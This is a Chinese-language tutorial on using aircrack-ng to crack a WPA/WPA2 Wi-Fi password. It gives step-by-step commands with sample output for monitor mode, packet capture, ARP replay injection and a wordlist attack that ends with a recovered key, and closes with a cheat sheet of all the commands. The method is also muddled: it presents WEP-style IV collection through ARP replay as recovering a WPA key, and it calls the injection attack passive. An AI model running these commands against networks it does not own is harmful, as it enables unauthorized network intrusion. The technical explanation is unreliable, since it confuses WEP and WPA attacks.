Aircrack-ng 基本上是一個網路軟體套件,旨在實現以下目標:
請注意,本教學並不是詳盡的指南,而是旨在培養一些基本技能來測試您自己的網路安全性並熟悉這些概念。
以下概述的攻擊是基於被動技術(ARP 請求重播攻擊),主要針對基於 debian 的發行版,假設您有一張工作無線卡,並且驅動程式已打好注入修補程式。
Aircrack-ng可以透過編譯原始碼的方式安裝在基於debian的作業系統上(更多詳情可以存取官網)。
您可以在下面找到有關安裝為基於 Debian 的作業系統建置 aircrack-ng 的基本要求的說明。
$ sudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
取得aircrack-ng的最新副本:
$ git clone https://github.com/aircrack-ng/aircrack-ng
$ cd aircrack-ng
為了建構aircrack-ng,使用了Autotools建構系統。首先, ./configure
專案以使用適當的選項進行建置:
$ autoreconf -i
$ ./configure --with-experimental
接下來,使用make
指令編譯項目,並使用下面列出的其他目標中的「安裝」目標來完成安裝。
make check
make integration
make install
make uninstall
此步驟的目的是確保您的卡片成功支援注入。假設您的介面名稱是「wlan0」(您可以在終端機上輸入iwconfig
來檢索它),請輸入以下命令:
# aireplay-ng --test wlan0
系統回應:
18:10:59 wlan0 channel: 10
18:10:59 Trying broadcast probe requests...
18:10:59 Injection is working!
18:11:00 Found 1 AP
...
這確認您的卡可以注入資料包。
要做的第一件事是尋找潛在目標,使用airmon-ng
將您的無線卡置於監控模式。但是,強烈建議在使用 aircrack-ng 套件之前kill
所有乾擾進程。
# airmon-ng check kill
Killing these processes:
PID Name
870 dhclient
1115 wpa_supplicant
然後,可以啟用用於建立另一個介面(mon0)的監視模式:
# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9485
(monitor mode enabled for [phy0]wlan0 on [phy0]mon0)
您會注意到「wlan0」已成功進入監控模式。然後,啟動airodump-ng
來尋找網路:
# airodump-ng mon0
找到您要破解的無線網絡,並從以下輸出中記下其 BSSID 和頻道:
CH 10 ][ Elapsed: 36 s][2019-05-15 18:15
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
...
請注意,輸出的頂部列出了範圍內 AP 的信息,底部列出了連接到相應 AP 的客戶端。
打開另一個控制台會話以捕獲目標生成的初始向量並將結果保存到檔案中:
# airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
其中-c 10
是無線網路的通道, --bssid 08:00:BF:E6:31:2E
是 AP 的 MAC 位址, -w output-file
定義將包含初始化向量的輸出文件, mon0
是介面名稱。
系統回應:
CH 10 ][ Elapsed: 12 s][2019-05-15 18:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
BSSID STATION PWR Lost Packets Probes
08:00:BF:E6:31:2E 00:0F:35:51:AC:22 -21 0 183782
命令執行後會產生各種文件。
經典的 ARP 請求重播攻擊是產生新初始化向量的最有效方法,而且工作非常可靠。此步驟的目的是在偵聽 ARP 請求的模式下啟動aireplay-ng
,然後將它們重新註入回接入點。保持airodump-ng
和aireplay-ng
運行,打開另一個終端並運行 ARP 請求重播攻擊:
# aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 618643 packets (got 304896 ARP requests), sent 194947 packets...
您可以透過查看airodump-ng
畫面來檢查資料包是否已被注入。
此時,您應該能夠從前面步驟中收集的初始化向量中取得 WPA 金鑰。要執行此攻擊,您需要一個單字列表,如果網路密碼不在單字檔案中,您將無法破解密碼。請注意,大多數 WPA/WPA2 路由器都帶有 12 個字元的強隨機密碼,許多使用者(正確地)保留這些密碼不變。如果您嘗試破解這些密碼之一,我建議使用 WPA 長度的密碼清單。
開啟另一個控制台會話並輸入:
# aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output * .cap
其中-a2
指定WPA/WPA2-PSK的攻擊模式, -w wordlist.txt
指您自己的字典詞表, output*.cap
選擇所有副檔名為.cap
輸出檔。
這是成功攻擊的輸出:
Aircrack-ng 1.5.2
[00:00:00] 192/1229 keys tested (520.04 k/s)
Time left: 0 seconds 15.62%
KEY FOUND! [ notsecure ]
Master Key : 42 28 5E 5A 73 33 90 E9 34 CC A6 C3 B1 CE 97 CA
06 10 96 05 CC 13 FC 53 B0 61 5C 19 45 9A CE 63
Transient Key : 86 D0 43 C9 AA 47 F8 03 2F 71 3F 53 D6 65 F3 F3
86 36 52 0F 48 1E 57 4A 10 F8 B6 A0 78 30 22 1E
4E 77 F0 5E 1F FC 73 69 CA 35 5B 54 4D B0 EC 1A
90 FE D0 B9 33 06 60 F9 33 4B CF 30 B4 A8 AE 3A
EAPOL HMAC : 8E 52 1B 51 E8 F2 7E ED 95 F4 CF D2 C6 D0 F0 68
您可以在下面找到破解 WPA/WPA2 網路所需的所有命令的清單。
# kill all interfering processes prior to using the aircrack-ng
airmon-ng check kill
# put your network device into monitor mode
airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
# start listening for the handshake on a new console session
airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
# start the ARP request replay attack
aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
# run aircrack-ng to obtain the WPA key
aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap
該項目根據 MIT 許可證獲得許可 - 有關詳細信息,請參閱許可證文件。
本教學僅用於教育目的,我不提倡惡意行為,也不對任何非法活動負責。